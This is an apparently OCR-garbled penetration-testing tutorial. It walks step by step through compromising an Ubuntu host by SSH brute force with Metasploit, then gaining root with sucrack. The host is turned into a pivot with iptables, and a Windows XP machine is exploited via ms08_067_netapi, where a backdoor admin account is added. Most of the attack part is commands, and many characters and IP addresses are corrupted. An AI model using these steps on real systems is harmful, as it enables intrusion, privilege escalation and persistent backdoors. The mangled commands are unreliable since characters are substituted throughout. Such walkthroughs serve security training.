Pentest Linux
Pentest Linux
SCE-A.IO:
/Attacker !achine0 OS: Backtrack 0 1-)"2 34bit 5ersion. !eta&ploit 1er&ion: 6.7.8*dev r968;9 Sucrack 1er&ion: 9.:.6 I' Addre&&: 9;:.937.937.903
/2ir&t 1ictim0 OS: ,buntu 98.98 I' Addre&&: 9;:.937.937.9:; Internal I' Addre&&: 9;:.937.0;.94:
/Second 1ictim3Internal -et+ork40 OS: <indows .= S=: Internal I' Addre&&: 9;:.937.0;.946
Objecti5e: <e don%t have any in!ormation about the network and deeply in!ormation o! the !irst and second victim. <e have only I= /ddress o! !irst and second victims. But our goal%s to get the shell in second victim. "y target is the second victim that it was in internal network. So the !irst thing we must do is own the !irst victim and change it%s to my gateway !or connecting to internal network. /nd !inally$ own the second victim.
Detail O, Step&:
Step 6: #irst thing we must do is per!orm the scanning to !irst victim with -map. "y option o! nmap that we use are >nmap *vv *s5 *)? !or output into the console$ probe the in!o o! service and detect )S.
he results show me about http and ssh service are open. -ow we will use "etasploit to get in there. Step 7: 1o to your "etasploit @onsole with terminal *A ms!console or /pplications "enu*A Bactrack *A 2xploitation ools *A -etwork 2xploitation ools *A "etasploit #ramework *A ms!console
Step 8: In the !irst step$ we !ound the ssh server that open so now we will use sshBlogin module$ auxiliary+scanner+ssh+sshBlogin $ !or brute !orcing ssh server (you can search the module that create !or >ssh? with >search ssh? command.)
So we see that the parameter are reCuired by this module are >B&, 2#)&@2BS=22(? >&D)S S? >&=)& ? >S )=B)-BS,@@2SS? > D&2/(S? Speed o! Brute !orcing. arget Dostname or I= /ddress arget =ort that ,se !or SSD =ort Stop brute !orcing a!ter get the credential -umber o! concurrent threads
>52&B)S2?
Some parameter was set automatically$ some parameter you must set by yoursel!.
Step 4E -ow we set the >&D)S S?$ >,S2&B#IL2? and >=/SSB#IL2? be!ore start the brute !orcing.
<ordlist that contain username$ one per line. <ordlist that contain password$ one per line.
2xample o! =/SSB#IL2
Step 9: -ow we%re ready to brute !orcing but we will check the options again be!ore start attack with >show options? command.
/!ter check the parameter$ I think we%re ready to go. Start the attack with >run? or >exploit? command.
1o to take a nap or play the game while "etasploit is guessing. Sometimes it may be use the long time and sometimes it may be use the short time depends on strength o! password and your wordlist.
Step :: <hen it get the correct password$ we will see the result like this picture.
his picture show you that username >john? use password >pFssw8rd? and now we get the connection session o! it automatically. he session I( o! the connection session is 9. <e can use =u y or another ssh client to connect the host or use "etasploit to get in there. his tutorial uses "etasploit to get it.
<e can check that we%ve already in or not with Linux command. 2x. >ls? and >pwd? command.
But we can%t use >su? command. It will show you Gmust be run !rom a terminal% message command.
2xecute getsh.exp with >expect getsh.exp? command$ /nd <allaHH 'ou get use >su? command.
Second$ i! =ython language installed in system. o ,se the command to get the command to get the shell ' with >python *c Gimport ptyI pty.spawn(>+bin+sh?)%?
So we%re lucky$ this system has installed python language. /nd I use the second way to get the shell.
Step =: /!ter the last step$ we got the shell and want to get >root? privilege. So we try to use >sudo *s? command but john account is not in the sudoers !ile.
-ow we will use sucrack to brute !orcing in the local system. <e can use with >wget? command to the download link (httpE++labs.portcullis.co.uk+download+sucrack*9.:.6.tar.gJ) and compile it in the victim system(victim system must have gcc compiler) or use >scp? command to take the !ile that compile in the attacker machine to the victim machine. I take the second way because this situation victim machine doesn%t have gcc compiler.
1o to the !older and compile it with .+con!igure @#L/1SK*m6: L make (Set @#L/1SK*m6: to compile !or run in 6:bit because attacker machine%s architecture is 34bit but victim machine%s architecture is 6:bit) /!ter compiling complete$ upload !older to victim system with >scp *r hackerFhackeripE+pentest+exploits+!ramework6+sucrack*9.:.6 .?(run this command in victim system) and upload wordlist !or brute !orcing too.
Step 6%: In victim machine$ go to the sucrack *A src and start brute !orcing with >.+sucrack *w 988 *u root password.txt? command and wait !or the result. I! it !ail it will show message >bye$ byeM?$ i! it success it will show like the below picture.
-ow we have root password(>=FSS<)&(?)$ try to use >su? command to login >root? account. /nd <allaHHH <e own this machine completely.
<e !ound that this machine is like a door !or attacker to get through the internal network. /nd we will use it like a bridge to connect internal network with iptables. <e use >echo 9 A +proc+sys+net+ipv4+ipB!orward? to enable ip !orwarding. <e use >iptables *= #)&</&( /@@2= ? and >iptables **table nat */ =)S &), I-1 *o eth9 *j "/SN,2&/(2? to create the bridge between attacker and internal network.
In the attacker machine$ add routing table !or connect the internal network with >route add *net 9;:.937.0;.8+:4 gw 9;:.937.937.9:;?
Step 67:
<e !ound netbios service (=ort 96;+440) and )S is <indows .= S=: or Sp6 in the results. So I will try to use classic module o! "etasploit to own it.
Step 68: 1o to "etasploit console and use >exploit+windows+smb+ms87B83OBnetapi? module !or remote code exploit o! smb service (96;+440).
'ou can get the in!ormation o! this module with >in!o? command and get the parameter that you must set with >show options? command.
-ow we got shell o! second victim. 'ou can use >sysin!o? !or view in!ormation o! this victim.
/!ter we%re in the cmd shell$adding the new user to the group o! administrator group !or create backdoor with >net user hacker +add? and >net localgroup administrators hacker +add?.
.e,erence&:
9. "etasploit #rameworkE httpE++www.metasploit.com :. =ost 2xploitation witout 'E httpE++pentestmonkey.net+blog+post*exploitation*without*a* tty+ 6. SucrackE httpE++labs.portcullis.co.uk+application+sucrack+ 4. -mapE httpE++nmap.org+